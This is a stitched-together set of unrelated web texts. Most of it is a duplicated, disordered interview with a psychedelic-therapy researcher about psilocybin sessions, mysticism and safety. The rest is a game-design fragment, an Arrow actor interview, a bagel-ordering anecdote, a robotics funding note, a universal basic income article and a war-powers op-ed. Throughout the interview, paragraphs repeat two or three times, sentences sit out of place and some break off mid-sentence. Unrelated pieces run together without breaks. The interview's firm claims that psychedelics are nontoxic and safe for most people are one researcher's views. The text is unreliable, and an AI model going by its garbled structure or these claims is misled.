The downside is that this is still essentially a blob. All the functionality is still encapsulated within one large object. It is unlikely you will fully factor the blob into purely sub-objects, so you will still be left with some significant overhead, which will weight down your lightweight objects. You still have the overhead of constantly checking all the NULL pointers to see if they need updating.
OBJECT AS COMPONENT CONTAINER
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this for the Departments of Defense and Veterans Affairs. But a couple of people I knew just couldn’t tolerate the protocol that they had and so they dropped out, but I have a new appreciation for it in a way by what you’re talking about—of going into it.
The key must be to make sure they have all the tools to make it safe enough—and I think that’s it—an experienced guide who knows it’s safe to go into these psychedelic shifts within consciousness.
WA: I agree. If the relationship is solid and the dosage is adequate so you can tap into what we call transpersonal realms of the mind, beyond the everyday self and at the border between the everyday self and transcendence. One thing we keep discovering, and it’s awesomely beautiful really, is that within the psyche there is wisdom about the way traumas or conflicts are presented to the ego for resolution. Within the psyche there is wisdom about the way traumas or conflicts are presented to the ego for resolution. It’s not that it’s just sitting there. But the very way it comes up and presents itself—when you interact with it—the way the mind depicts the process of resolution, it’s like a great novelist writing a very moving and effective story.
And we find these very creative resources within the human body but beyond the ego if you will, perhaps deep within our DNA somewhere. And if you go into the mind with courage, trust, openness, and interpersonal grounding, the experiences that emerge tend to be infinitely more effectively and more artistically designed than anything you could have planned in advance. If you think, “Oh, what this patient needs is to regress to age seven and address her relationship with her father,” you are being unnecessarily controlling and underestimating the resources within your patient. If you just go in with openness and trust, what emerges and what the person writes down after the drug wears off is awesomely effective for many and I suspect most people.
You don’t have to have a doctorate in English Literature, you know; it happens to very ordinary people. And the richness of the imagery and the storylines are very impressive. I agree. If the relationship is solid and the dosage is adequate so you can tap into what we call transpersonal realms of the mind, beyond the everyday self and at the border between the everyday self and transcendence. One thing we keep discovering, and it’s awesomely beautiful really, is that within the psyche there is wisdom about the way traumas or conflicts are presented to the ego for resolution.It’s not that it’s just sitting there. But the very way it comes up and presents itself—when you interact with it—the way the mind depicts the process of resolution, it’s like a great novelist writing a very moving and effective story.And we find these very creative resources within the human body but beyond the ego if you will, perhaps deep within our DNA somewhere. And if you go into the mind with courage, trust, openness, and interpersonal grounding, the experiences that emerge tend to be infinitely more effectively and more artistically designed than anything you could have planned in advance. If you think, “Oh, what this patient needs is to regress to age seven and address her relationship with her father,” you are being unnecessarily controlling and underestimating the resources within your patient. If you just go in with openness and trust, what emerges and what the person writes down after the drug wears off is awesomely effective for many and I suspect most people.You don’t have to have a doctorate in English Literature, you know; it happens to very ordinary people. And the richness of the imagery and the storylines are very impressive.
DB: And I hear also what you’re saying about the importance of trust by both the person undergoing the experience and the facilitator or therapist, the trust that that’s there.
WA: We’re potentially saying, “You may feel like you’re dying in this moment and go ahead, let yourself die; you’re going to be okay.” “You may feel like you’re dying in this moment and go ahead, let yourself die; you’re going to be okay.” Or, “you may feel like you’re going crazy; that’s okay, go ahead, go crazy, we’re going to take good care of you; you’ll be okay.” That certainly takes a lot of trust because when you get into those deep states of consciousness they feel incredibly real, incredibly powerful. We’re potentially saying,“You may feel like you’re dying in this moment and go ahead, let yourself die; you’re going to be okay.” Or, “you may feel like you’re going crazy; that’s okay, go ahead, go crazy, we’re going to take good care of you; you’ll be okay.” That certainly takes a lot of trust because when you get into those deep states of consciousness they feel incredibly real, incredibly powerful.
Transpersonal Psychology
DB: But in everyday life we seldom if ever hear those very powerful, positive, loving, supportive messages that whatever occurs in our own psyche, we’ll be OK.
WA: Right. We’ve got to talk more about these transcendental or mystical states of consciousness. When they occur they seem to be the most powerful factor in attitudinal and behavioral change. They literally change the self-concept. They change who you think you are, who you feel other people are, what you feel the nature of reality is, what the nature of the world is, and your sense of values may shift. That’s powerful stuff, you know? And we’re not used to talking about that; we leave that for the theologians. There’s still this whole reticence in psychology to even acknowledge what we call “transpersonal psychology.” I like to think of “trans” as meaning both “above and beyond” but also “between.” There’s a vertical and horizontal dimension of transpersonal psychology, but they’re both there and they’re both incredibly powerful and important.
DB: That’s something you articulate in the book so well—the sense of oneness, wonder and connectedness. I’ve seen something similar in couples therapy—when they think they’re angry at the other person it’s kind of an illusion because they’ve helped to create the other person who’s there, who is reacting to them as they are reacting to the other. When they see what a system they are in the accusations and guilt can greatly diminish. Many Buddhist concepts come to mind in what you’re talking about also.
Jinpa Thupten, a scholar and the long-time English translator for His Holiness the Dalai Lama, wrote his first book for the general public last year. And when he thought about the numerous Tibetan Buddhist teachings that he had learned, he decided to write about compassion as his main topic. And to me that’s a major part of the whole experience of growing spiritually—developing self- and other- compassion—whether it’s therapy or through transcendental states or other psychedelic experiences or some combination. All of these things merge into self-compassion and compassion for others—and then awe and joy of just being alive.
WA: Yes, and after the great mystical experience, however you want to try to put that into words, you come back to earth and the memory needs to be integrated. You chop wood and carry water. And you try to see the divine in your boss, in your spouse, in your kids, and in the people you disagree with. It’s a lifelong process.
DB: We’ve touched on this a little bit before but I think this thing called “psychotherapy,” at moments joining and looking into all these other human lives, is a counterpoint to meditation that involves looking into your own consciousness and beyond. And I know we’re both grateful we’ve been able to do that. You and I are both celebrating our 40th year of private practice—another synchronicity I enjoyed finding out about, as well as your sense of humor.
WA: I sometimes think of how the Jews, Christians, and Muslims who tend to be excessively serious and somber could benefit from the Hindu appreciation for lila, known as divine playfulness.
DB: Anything you’d like to say more about lila? We could use some of that appreciation for life after this terribly difficult election season.
WA: I’m having trouble myself imagining it. I picture this great beast coming out of the ocean and ask how do we confront it and care for it, and love it, and tame it, and appreciate the energy in it, you know, and not just run in terror.
DB: So, you’re saying that, similar to seeing something terrifying during a psilocybin session, when you would encourage the person to, that great term, embrace the demon who hates to be hugged, we have to find a way to deal with our political realities.
WA: How do you respectfully stay centered and go towards what we label as bad, evil, or unpredictable, or scary? How do you respectfully stay centered and go towards what we label as bad, evil, or unpredictable, or scary? It’s a real challenge and an art, I think, and maybe what religions are all about. How do you respectfully stay centered and go towards what we label as bad, evil, or unpredictable, or scary? It’s a real challenge and an art, I think, and maybe what religions are all about.
DB: And your background in comparative religions and the psychology of religion really informs your writing about the psychotherapeutic experience; it really is the culmination of your whole life’s work.
WA: It is, yeah. The book kind of wrote itself really. Hardly any rewriting, it just kind of flowed out during one year and there it was. Also, I’m more aware that I have a different verbal vocabulary than my written vocabulary. Sometimes I write words that I never say and speak words I never write. It’s just interesting, you know; like another part of the brain is in charge.
DB: So now I’m wondering about your sense of the experience of successfully working with trauma through psychedelic-assisted therapy compared to how we understand either prolonged exposure and response prevention or EMDR and somatic approaches. Any thoughts you’ve got about what happens to a person with trauma when they are in the entheogenic state?
WA: I suspect whenever therapy works there’s stuff in common among these different approaches. It may be labeled differently and be conceptualized differently, but there’s something very important about the courage to confront in a grounded relationship without running away and without panicking and just seeing it for what it is.
And perhaps coupling the intention to trust and confront with some breathing exercises or eye movements or whatever may be helpful. But it would seem to me the main theme is this confidence that in this relationship we call therapy there’s nothing we can’t deal with. You’re not helpless and this can be meaningfully resolved, not just vanquished. And in the big picture the flow of experiences might even enrich your life in some way.
DB: I see the distinction you just made between vanquished versus meaningfully resolved. It’s close to the difference between symptom removal and this transpersonal and even mystical experience that you believe can be or should be a part of psychotherapy for some persons.
WA: That’s right. I mean, you can hide under the bed and you won’t see the tornado coming, but I’m not sure that that’s curative. And it goes deep philosophically. Suffering and tragedy has its place; it’s an integral part of living. The image of the dancing Shiva that’s both destroying and creating comes to mind. Transformation is not just getting rid of pain but finding meaning in pain. Transformation is not just getting rid of pain but finding meaning in pain. That’s heavy stuff but it’s profound and it’s intrinsic to being human the way I see it. That’s right. I mean, you can hide under the bed and you won’t see the tornado coming, but I’m not sure that that’s curative. And it goes deep philosophically. Suffering and tragedy has its place; it’s an integral part of living. The image of the dancing Shiva that’s both destroying and creating comes to mind.Transformation is not just getting rid of pain but finding meaning in pain. That’s heavy stuff but it’s profound and it’s intrinsic to being human the way I see it.
DB: Maybe the short version from the Buddha is: out of suffering comes wisdom and out of wisdom comes compassion for yourself and for others.
WA: That’s right.
Beyond Death Anxiety
DB: Another aspect of all of what we are discussing is the neurobiological studies of the brain with fMRI’s and other sophisticated scanning instruments. A 2014 study in London found that a dose of MDMA occasioned a drop in activity in the limbic system resulting in less fear. Other such exciting work found a quieting of the regions of the brain involved with the sense of self, especially the so-called “default mode network.” It is easy to be very curious about where all that is going. You’ve noted that correlation is not necessarily causation, and that the nature of consciousness still remains a tantalizing enigma.
Is there anything more right now that you think is helpful for the person who clearly has benefited from the depth of their insights, who feels that they have seen a more real reality and then have come back here? Anything you want to say about those experiences?
WA: Just how incredible are the therapeutic and spiritual outcomes for the diverse people who were terminally ill that I’ve given psychedelics to in our research. I recall people who considered themselves agnostics, or atheists, or Jewish or Christian, or those who never went to church or synagogue, or those who were piously there all the time. With all of them when they have this mystical type of experience there’s a change. Instead of fearing death they report something akin to curiosity about it. As in, “this is a new experience I’m going to have that everyone who’s ever been born has eventually had.”
The perceiver and the perceived somehow interact on a subatomic level and everything is perceived as energy and there’s this ultimate insight that we’re all ultimately the same. Maybe it’ll be, as this one patient of mine expected, “just like a light bulb going out,” you know, or maybe I’ll encounter my ancestors and maybe I’ll visit hell, or purgatory, or heaven or all three. But there’s this kind of almost innocent openness replacing the anxiety. Essentially they say, “something’s going to happen and I wish I could come back and report, but it doesn’t work that way.” And beyond that is this intuitive conviction for those who encounter mystical types of consciousness that it’s not an issue of personal immortality—whether my little ego is going to continue to survive or not. Instead, an intuitive conviction is often expressed that there’s something incredibly magnificent and eternal and trustworthy that’s not going to go away.
Just how incredible are the therapeutic and spiritual outcomes for the diverse people who were terminally ill that I’ve given psychedelics to in our research. I recall people who considered themselves agnostics, or atheists, or Jewish or Christian, or those who never went to church or synagogue, or those who were piously there all the time. With all of them when they have this mystical type of experience there’s a change. Instead of fearing death they report something akin to curiosity about it. As in, “this is a new experience I’m going to have that everyone who’s ever been born has eventually had.”Maybe it’ll be, as this one patient of mine expected, “just like a light bulb going out,” you know, or maybe I’ll encounter my ancestors and maybe I’ll visit hell, or purgatory, or heaven or all three. But there’s this kind of almost innocent openness replacing the anxiety. Essentially they say, “something’s going to happen and I wish I could come back and report, but it doesn’t work that way.” And beyond that is this intuitive conviction for those who encounter mystical types of consciousness that it’s not an issue of personal immortality—whether my little ego is going to continue to survive or not. Instead, an intuitive conviction is often expressed that there’s something incredibly magnificent and eternal and trustworthy that’s not going to go away.
DB: It’s so beyond the personal ego.
WA: Yes.
DB: “I don’t have to worry about my little self, there’s this fantastic, beautiful thing out all around us, in us, outside of us.”
WA: “…that is in control. I don’t have to be in control.”
DB: I recently was thinking that when I die, my own personal experiences of joy, awe, excitement will be gone but these human feelings will still be being experienced by others: by my children, and then by their children.” Excitement itself will still continue. It was very comforting.
WA: Yes, especially in Judaism, what we call social immortality is often emphasized: that whatever your contributions are, whatever you stand for in life, it flows on and continues in your children and your children’s children. It’s a beautiful thought, but it doesn’t rule out the energy of consciousness itself being indestructible.
DB: In the book you distinguish between internal and external unity—could you clarify it here?
WA: In the literature and the psychology of religion and in the study of mysticism scholars talk about two different ways to approach unitive consciousness. One, called “internal unity” entails going deeper and deeper through various dimensions of being until finally the ego vanishes, dies or dissolves, like the drop of rainwater in Hinduism that merges with the ocean of Brahman, and all of a sudden there’s awareness of this great oneness.
And then the other approach, called “external unity,” occurs in interaction with the world, often visually through the natural world, a kind of resonating with visual perception to this point where the best way I’ve been able to describe it is—which I think Alfred North Whitehead was trying to state—the perceiver and the perceived somehow interact on a subatomic level and everything is perceived as energy and there’s this ultimate insight that we’re all ultimately the same. There is a great oneness. It boils down to one approach occurring with closed eyes, if you will, and one occurring with open eyes.
But that the same person in the same culture can experience both approaches to unitive consciousness is what the new discovery is. And so this isn’t culturally bound or indicative of different nervous systems, but it appears to be different ways of approaching the same unitive experience. Whether or not it’s the same unity can be debated forever. How many different unities can there be? But, you know, intuitively it feels like it’s ultimate.
Is it the same galaxy or a different galaxy? It’s mighty big and impressive whatever it is.
DB: My own experience with LSD, a few months before hearing a talk by Timothy Leary in the late 1960s, and just before it was made illegal by Federal law, was a strong glimpse into the awareness that I was not just these identifications I carried around with me then: “21 years old,” “college senior,” “English major,” “Middle class,” “Ann Arborite,” “son,” “brother,” or even “male.” These labels all fell off like articles of clothing and what was left of me was pure energy or light—part of a bigger quantity of the Something. Trying to articulate that the next day in an English Literature seminar was not too successful and didn't generate much further class discussion at the time, as I recall!
The descriptions about your own psychedelic experiences and those of the research subjects you’ve heard from are helpful and clarifying in the book. They added a lot for me as a reader.
I also enjoyed the quote in your book from Thomas Roberts about the 500-year blizzard of words triggered by the invention of the printing press. You have written very “illuminatingly” about our limitations in describing and articulating deeper realities using words and concepts. My favorite bumper sticker is “Don't believe everything you think!”
But, back to using your words, can you comment on the impact of faith and religion in these psychedelic studies?
WA: In our first study at Hopkins, published in 2006, the double-blind study with Ritalin and psilocybin demonstrated that psilocybin really does do something; it’s not all suggestion and wishful thinking. For that study we selected people who were religiously inclined, i.e. they went to church or synagogue, or they belonged to a meditation group, sang in a church choir or something. But people who read that study sometimes think it’s only because they were religiously inclined that they had their spiritual experiences. Clearly we know from other studies that people who consider themselves total agnostics also have profound mystical experiences. Perhaps some may even find it easier to allow the occurrence of mystical experiences than those who have studied and practiced specific forms of religion or spirituality.
When there’s a radical openness and they’re not trying to prove anything, mystical and non-ordinary states of consciousness that are claimed to be beneficial seem more likely to occur. People who might have trouble during a psilocybin session would be either the self-defined atheist who wants to prove that there’s no ultimate meaning—
DB: —or the rigid fundamentalist?
WA: If he or she thought that there’s no way except finding Jesus through the Fourteenth Baptist church, he or she might have trouble. But anyone who’s open and willing to explore consciousness and collect new experiences is likely to encounter these really magnificent states.
Is It Safe?
DB: I wonder if you could again address here what is so well delineated in the book, about the issue of safety?
WA: Gladly. Both my book and the
But given preparation they really are safe for most people. They’re nontoxic and non addictive. They’re not for everyone. For example, persons with psychotic histories, genetic tendencies towards severe mental illness, brain tumors, acute cardiac or renal conditions or dependence on certain medications would incur greater risk and would be screened out of most current research projects with psychedelics. Some persons simply may not be interested in personal or spiritual development, or may prefer other modes of exploration.
Given the pure drug and the right dose with adequate preparation, the major psychedelics are fundamentally safe for most people. In many studies researchers find that volunteers report little desire to repeat the psychedelic experiences in the near future, even though the therapeutic intervention may be highly valued. One cannot predict the specific phenomenology that’s going to occur, but if you respond to the opportunity of consciousness opening up in an interpersonally grounded style with an intention to accept whatever emerges and explore it, the probability of the experience being beneficial is high. It is not dangerous if it’s handled competently.
Also with psychedelic therapy we’re right up front with volunteers or patients by saying there may be episodes that are scary and painful. One may have to tumble through some grief, guilt, fear or transient somatic discomfort. One may encounter “the dark night of the soul” as part of the spiritual journey, but that’s all good, and it leads towards resolution and transcendence. Gladly. Both my book and the article that Matt Johnson, Roland Griffiths and I published really systematically address it comprehensively. Given the pure drug and the right dose with adequate preparation, the major psychedelics are fundamentally safe for most people. Physiologically they’re safe; psychologically you have to know something about how to navigate well in the internal worlds to benefit. And I make the parallel in my book with learning to ski. It helps to have a few lessons before you do it. And it’s pretty stupid to just throw the drug in your mouth and see what happens, or strap on skis for the first time and jump off the ski lift at a black diamond run.But given preparation they really are safe for most people. They’re nontoxic and non addictive. They’re not for everyone. For example, persons with psychotic histories, genetic tendencies towards severe mental illness, brain tumors, acute cardiac or renal conditions or dependence on certain medications would incur greater risk and would be screened out of most current research projects with psychedelics. Some persons simply may not be interested in personal or spiritual development, or may prefer other modes of exploration.In many studies researchers find that volunteers report little desire to repeat the psychedelic experiences in the near future, even though the therapeutic intervention may be highly valued. One cannot predict the specific phenomenology that’s going to occur, but if you respond to the opportunity of consciousness opening up in an interpersonally grounded style with an intention to accept whatever emerges and explore it, the probability of the experience being beneficial is high. It is not dangerous if it’s handled competently.Also with psychedelic therapy we’re right up front with volunteers or patients by saying there may be episodes that are scary and painful. One may have to tumble through some grief, guilt, fear or transient somatic discomfort. One may encounter “the dark night of the soul” as part of the spiritual journey, but that’s all good, and it leads towards resolution and transcendence.
DB: In other words, you won’t get stuck in it like the endless dark night...it will turn into daylight.
WA: That’s right, because, whatever comes into consciousness—you can meet it; dive right into it like diving into a swimming pool, and we’re here with you and there’s nothing from which you need to run away. And as we talked about earlier: the principle is that if it arises in consciousness that means you’re ready to deal with it and we’re here with you; let’s meet it.
DB: So, does that imply that it’s necessary for a person who’s a therapist doing psychedelic-assisted therapy to have had the experience?
WA: You have to be comfortable with non-ordinary states of consciousness.
DB: Okay, and you can say that you get there—
WA: Whether with psychedelics or not—
DB: —for example with Stan Grof’s holotropic breathwork.
WA: Yes, or meditation, for some sensory isolation or flooding; then you’re not going to panic if the person expresses something that you might ordinarily label psychotic or fear that the person’s going to get out of control, because that fear can easily become contagious. So, the therapist has to stay centered. “I’m with you and there’s no demon we can’t look straight in the eye.”
“Whether we like it or not the time is coming when we have to put up with being unconditionally loved.” In a section of my book titled “Movement into the Future,” I wrote that if we take mystical consciousness seriously and accept that it appears to be a potential state of awareness that ultimately awaits all of us, then eventually we may all have to accept that we are spiritual beings, that there is indeed something of god within us, and that “whether we like it or not the time is coming when we have to put up with being unconditionally loved.” Yes, or meditation, for some sensory isolation or flooding; then you’re not going to panic if the person expresses something that you might ordinarily label psychotic or fear that the person’s going to get out of control, because that fear can easily become contagious. So, the therapist has to stay centered. “I’m with you and there’s no demon we can’t look straight in the eye.”In a section of my book titled “Movement into the Future,” I wrote that if we take mystical consciousness seriously and accept that it appears to be a potential state of awareness that ultimately awaits all of us, then eventually we may all have to accept that we are spiritual beings, that there is indeed something of god within us, and that “whether we like it or not the time is coming when we have to put up with being unconditionally loved.”
Cosmic Laughter
DB: Well, I’ll be happy to put up with that! And how much, in your experience, do people in these sessions or journeys get into periods of cosmic laughter?
WA: Quite commonly, you know. And it’s usually after approaching something that feels very heavy and onerous. All of a sudden the belly laugh comes out, and god laughs and the universe goes on.
And humor aside, I wish we could offer safe psychedelic journeys here in the United States, both for persons who may benefit from psychotherapeutic treatment and also for people interested in personal or professional development. I write about the centers for research and retreat that I envisage in the book. And I think that day is coming. It’s ridiculous that people who want legally to receive psychedelics often have to go to South America and take ayahuasca with sometimes questionable entrepreneurs. It’s ridiculous that people who want legally to receive psychedelics often have to go to South America and take ayahuasca with sometimes questionable entrepreneurs. That may work out well and it may not work out well. Sometimes there is minimal assistance in facilitating the integration of experiences and not much preparation or thought that goes into the construction of the group.
So why should you have to go to South America to have a legal experience, when we are in the land of the free and the home of the brave? Come on USA, get with it! Quite commonly, you know. And it’s usually after approaching something that feels very heavy and onerous. All of a sudden the belly laugh comes out, and god laughs and the universe goes on.And humor aside, I wish we could offer safe psychedelic journeys here in the United States, both for persons who may benefit from psychotherapeutic treatment and also for people interested in personal or professional development. I write about the centers for research and retreat that I envisage in the book. And I think that day is coming.It’s ridiculous that people who want legally to receive psychedelics often have to go to South America and take ayahuasca with sometimes questionable entrepreneurs. That may work out well and it may not work out well. Sometimes there is minimal assistance in facilitating the integration of experiences and not much preparation or thought that goes into the construction of the group.So why should you have to go to South America to have a legal experience, when we are in the land of the free and the home of the brave? Come on USA, get with it!
DB: We ought to have a Constitutional amendment. We have freedom of speech, why not freedom of consciousness?
WA: Many of us will vote for that!
DB: What would you say to people who are considering doing a journey like this because they have treatment resistant depression, or they have been feeling terribly stuck? You’ve said it many different times, but here is one more opportunity.
WA: It’s tricky because I don’t want to encourage people to break laws and there are dangers of ingesting substances with unknown purity and dosage.
I talk primarily in terms of fostering research, and someday the laws will change. Sometimes I go online to Amazon.com and I read some of the reviews that people have written of my book, and one of them is from a guy who claims to have used drugs and psychedelics in the past but never used them right, and since my book essentially taught him how to use them correctly and safely, he had a marvelous curative experience and he’s deeply thankful for learning how to use psychedelics wisely. And that wasn’t my intent in writing the book, you know, but if it makes for healthier sessions and less trips to the emergency room for the people who choose to use the drug illegally; I can’t regret that.
DB: That’s beautiful.
WA: But it certainly wasn’t my plan in writing the book. Yet, since there are an awful lot of people who are choosing to use psychedelics, if the book helps them learn how to do it safely and wisely, maybe that’s a constructive step.
DB: So as we wrap up this conversation, it might be fun to acknowledge some recent literal “big” news: Astrophysicists reported calculations last month indicating that the universe is from two to ten times as big as was previously thought: they now think there may be up to two trillion galaxies, each with hundreds of billions of stars!
WA: There are no limits to awe! But you can only open your mouth so wide, you know?
DB: And Tibetan Buddhist scholar Robert Thurman suggests that the metaphor of Indra’s Net points toward human consciousness being at least as vast as the universe, if not countless times greater. So it looks like there is still plenty of territory to explore
I want to thank you again for the complete pleasure of our conversations.
WA: Well, good being in the world with you. Enjoy and take care.
DB: Namaste.
*For a full list of all articles cited, please email david@drbullard.com.
© 2017 William A. Richards and David Bullard0
The consummate under-dog, CW’s Arrow quietly staked a claim in the periphery of the DC-verse at the outset of the 2012 TV season. I don’t think anyone expected much from the show – and early episodes struggled to balance its comic-book aspirations under a TV-friendly budget. But over the course of its first season and especially in its second year, Arrow slowly came into its own, deftly balancing sci-fi heavy tropes within a surprisingly grounded moral quagmire. It became clear that Arrow himself wasn’t the prototypical hero he or the audience initially believed. As the dark nuances of the titular character were explored, the show grew by result. Much of the credit to the show’s qualitative success can, of course, be laid at the feet of star Stephen Amell. Amell has since become the poster-child for the DC Television verse – and with his dapper looks and sharp stare it’s not hard to see why.
In the following round table interview with star Stephen Amell, he discusses just when the character will finally become ‘The Green Arrow’, his relationship status on the show, and why he’s sick to death of talking about The Justice League. For the full interview, hit the jump.
Q: Oliver seems to be under the delusion he can have a normal life [at the start of the new season]…
Stephen Amell: Delusion is the correct word choice.
How long does the delusion last?
Stephen Amell: About twenty minutes. This will be an interesting year. Now granted I know what happens — but if you go back and watch the first episode of Season Two, all of the themes are really touched upon in that episode. The same is true of the pilot and when you watch our first episode of season three, all of the themes present there echo throughout [the season].
Are you happy you don’t have to answer any more Justice League questions?
Stephen Amell: Yes — and by the way, there’s a The Flash show, we have Firestorm, we have Canary, we have The Atom… The actual Justice League film — I don’t know when that’s coming out. You can watch The Justice League on television now. But the reason I’m happy to not have to answer the question anymore is because I think it undersold what we did on TV. I would put our degree of difficulty – having to produce twenty-two episodes of television every year, spinning off the show, giving people the confidence to green-light other DC properties — up there with producing a two hundred million dollar film. They’re very different things. I never want to feel as though our existence is only going to be justified by being part of the cinematic universe. That has nothing to do with anything. We are stamping out our own spot.
[What is the romantic situation like for Oliver this season?]
Stephen Amell: There’s one lady in Oliver’s life.
Just one?
Stephen Amell: Just one. There’s one woman in Oliver’s life this year.
Is that his sister?
Stephen Amell: No — it’s Felicity.
It just seems he’s got Sarah out there and Laurel…
Stephen Amell: The ship has sailed on those romances. I don’t think we’ll ever see Oliver & Sarah or Oliver & Laurel together again. I mean – they’ll be together but just not ‘together-together’. They’ll be teammates. We discover in the premiere the way that Oliver feels about Felicity. Because of that — if we just introduced random love interests, it would undersell what we do in the premiere.
Over the past two seasons, has there been a decision or a choice that Oliver has made that you personally have trouble justifying?
Stephen Amell: I can’t think of a specific choice. I will say the storyline where Oliver has a child really hit home for me. We filmed that episode — my daughter was five months old and we were shooting those scenes with Susana [Thompson]. The most difficult scene I’ve ever had to shoot on the show is when Oliver finds out that this girl lost the baby. Besides the feelings it stirred up in me personally, it was also my last scene with Susana Thompson whom I love and adore and respect and miss. So it was really difficult to divorce my personal feelings from that scene and some of them actually shown through. But for the most part, we live in a pretty fantastical world on Arrow and I’m able to divorce Oliver’s reasoning from my own.
What is the dynamic between Thea and Oliver like this season?
Stephen Amell: It’s all about unspoken things. Oliver made a commitment to Thea to be more honest with her. And when Oliver and Thea meet up, he is more honest with her. He reveals things that he’s never told her. Things he regrets very much.
How aware are you of the direction of the character throughout this season and for future seasons as well?
Stephen Amell: I really do think we are moving to a spot where we will refer to my character as ‘The Green Arrow’. We are moving to a spot where we will continue to embrace the fundamental classic elements of the character. Because we have that license now. We’re 46 episodes in. People like it. They buy into it. But unless this character is evolving — The Hood to Arrow to The Green Arrow — then people are going to lose interest. So I always want there to be a journey for him. And this year’s journey is really interesting.
Does that evolution involve the goatee?
Stephen Amell: No.IMAGINE you're ordering a bagel. You say to the counter person "I'd like a bagel." The helpful young wage-earner asks, as required by the bosses, "would you like butter or cream cheese?" Do you
a) say "no, thanks. Plain."
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b) Throw a fit, saying that if you had wanted butter or cream cheese you would have asked for it, and that the fact that this obvious logic was not understood illustrates the bad grammar of the staff, tout the importance of correct language and, sticking relentlessly by your position, eventually call the staff person an "asshole" until you are thrown out?
If you're a competent English speaker, you chose "a". That is because use of language entails understanding not only how sounds, words and grammar work, but also social convention, appropriateness, shared background knowledge and culture all contribute to the use of language. If you're Lynne Rosenthal of New York, you chose B.
Ms Rosenthal, who has a PhD in English, explained herself by saying "Linguistically, it's stupid, and I'm a stickler for correct English...They don't understand what a plain multigrain bagel is." I'm sorry, Ms Rosenthal, but linguistically, your position is stupid hovering just above insanity. Most 21st century Americans understand that when ordering take-away food at a counter, you will often be asked |
said Rod Brooks, chairman, founder, and CTO of Rethink Robotics. “With our robots, businesses will have the opportunity to rethink manufacturing, rethink automation, and rethink outsourcing.”
Rethink Robotics today announced that it had secured $30 million in Series C financing [bringing its total funding to $57 million]. The funds will be used to launch the company’s new robot product, begin development of new product lines, and expand sales, marketing, and services operations.
We also learned from the press release that the robot will be announced later this year. We're not sure exactly when, but it's definitely going to be before 2013. Stay tuned!
[ Rethink Robotics ] via [ Boston.com ]It's estimated that there are more than 600,000 people in poverty in this country, which is 1 in 7 households.
And advances in technology - artificial intelligence, virtual reality and robotics - mean many of the jobs we do now to sustain us will disappear.
Photo: Frank Film
The gap between rich and poor is widening in New Zealand as it is in most other western nations, so if we agree that this is a problem, what can we do about it?
Raf Manji is a Christchurch city councilor and economist, who believes a universal basic income is the answer.
He started his career working in London as an investment banker and currency trader.
He then became interested in environmental sustainability and after moving to New Zealand with his family stood for the Christchurch City Council.
He says his time as a banker taught him the limitations of the global financial system.
"The whole global system was delivering sub-optimal outcomes, we generated a system that was primarily reliant on new debt to fund old debt and a growth imperative that was built into the system which we saw fall apart in 2008."
He says the increasing interest in a universal income is driven by the understanding that we are unlikely to live in a world of full employment again.
"Technologies are really going to crush the jobs market, we simply are not going to need as many people to do jobs so we need to somehow think about separating work from income.
"If there are going to be less jobs what are we all going to do, how are we going to feed ourselves and what is the role of money within that system?"
But he says a universal basic income is about much more than delivering people an economic right, a whole new social contract is needed.
"What's happened over the last 50 years is we've become so focussed on rights and we've lost this concept of duties and therefore we've lost this concept of being a citizen.
"I think that's been reinforced over the last 30 years with the rise of neo-liberalism and the understanding of citizens as consumers. The state has become very transactional and has treated people as economic agents."
This misunderstands what we are as humans and makes us passive, he says
"We're social beings, it's made everyone become consumers, become passive, become victims, become served, become beneficiaries - and we've also lost that concept that as citizen we do actually have duties."
Politics as usual is a one-way street, he says, but that isn't working anymore. The challenges of the future require a much more engaged citizenry.
"The whole thing is we're not going to have that many jobs to do, if we were living in a world of full employment we wouldn't be having this conversation but we're going to be living in a world of quite high unemployment. "
He says the whole concept of being a citizen needs to be reset.
"What is our purpose here on earth? Is it just to slog away to eat, or are we here for higher order things?"If he is elected president, Mitt Romney will take an oath to “preserve, protect and defend” the Constitution. Yet he has proudly declared that he doesn’t believe in the Constitution—at least in the clear and unambiguous language that the right to declare war belongs to Congress.
The former Massachusetts governor already has embraced discredited neoconservative nostrums about foreign policy. There apparently is no war in which he does not want to intervene, including Syria. He is particularly enthusiastic about the possibility of bombing Iran.
Now he says he will not be bound by the Constitution. On CBS’s Face the Nation he declared: “I don't believe at this stage, therefore, if I'm president that we need to have a war powers approval or special authorization for military force. The president has that capacity now.” At least candidate Romney took a position this year. Back in 2008, he said “You sit down with your attorneys and [they] tell you what you have to do.” So much for reading the Constitution.
Presidents often have used the military without legislative authority, but most such actions have been limited and many had colorable congressional backing. Despite modern presidents who claim the unilateral authority to bomb and invade other nations, many of America’s strongest chief executives recognized Congress’s authority.
For instance, President George Washington said: “The Constitution vests the power of declaring war with Congress; therefore no offensive expedition of importance can be undertaken until after they shall have deliberated upon the subject, and authorized such a measure.” Abraham Lincoln praised the Founders for recognizing war “to be the most oppressive of all Kingly oppressions; and they resolved to so frame the Constitution that no one man should hold the power of bringing this oppression upon us.”
Presidents Woodrow Wilson and Franklin Delano Roosevelt sought declarations of war for the conflicts that defined their presidencies. President Dwight Eisenhower, a former general, said he would not go to war without legislative authority. George W. Bush sought authority to attack Iraq. Even President Barack Obama, charged by his critics with attempting to extirpate American liberty, admitted that he cannot unilaterally attack Iran. (He did, however, claim the right to attack Libya since it was not a war. George Orwell, call your office!)
During the 2008 campaign, candidate Obama explained: “The president does not have power under the Constitution to unilaterally authorize a military attack in a situation that does not involve stopping an actual or imminent threat to the nation.” Candidate Hillary Clinton explained: “I do not believe that the president can take military action—including any kind of strategic bombing—against Iran without congressional authorization.” Senator Joseph Biden threatened President Bush with impeachment if the latter bombed Iran without congressional assent since the Constitution gave “Congress the power to initiate all hostilities, even limited wars.”
No doubt, few people would be surprised if President Obama forgot his promise and decided to act unilaterally. Indeed, in recent congressional testimony Defense Secretary Leon Panetta suggested that the administration cared more about getting “international permission” than congressional authority for possible intervention in Syria. But Romney apparently doesn’t believe that the Constitution even theoretically applies to executive war-making.
The Founders didn’t believe they were creating that kind of presidency. Alexander Hamilton wanted something akin to a king, but the vast majority of his fellow constitutional convention delegates did not. The American colonists broke with Great Britain in response to abusive, untrammeled executive power. They didn’t want to recreate that system.
Moreover, the early Americans understood, as Randolph Bourne observed, that “war is the health of the state.” The most abused, least controlled monarchical power was war-making. James Madison warned: “Of all the enemies of true liberty, war is, perhaps, the most to be dreaded, because it comprises and develops the germ of every other. War is the parent of armies; from these proceed debts and taxes; and armies, and debts, and taxes are the known instrument for bringing the many under the domination of the few.”
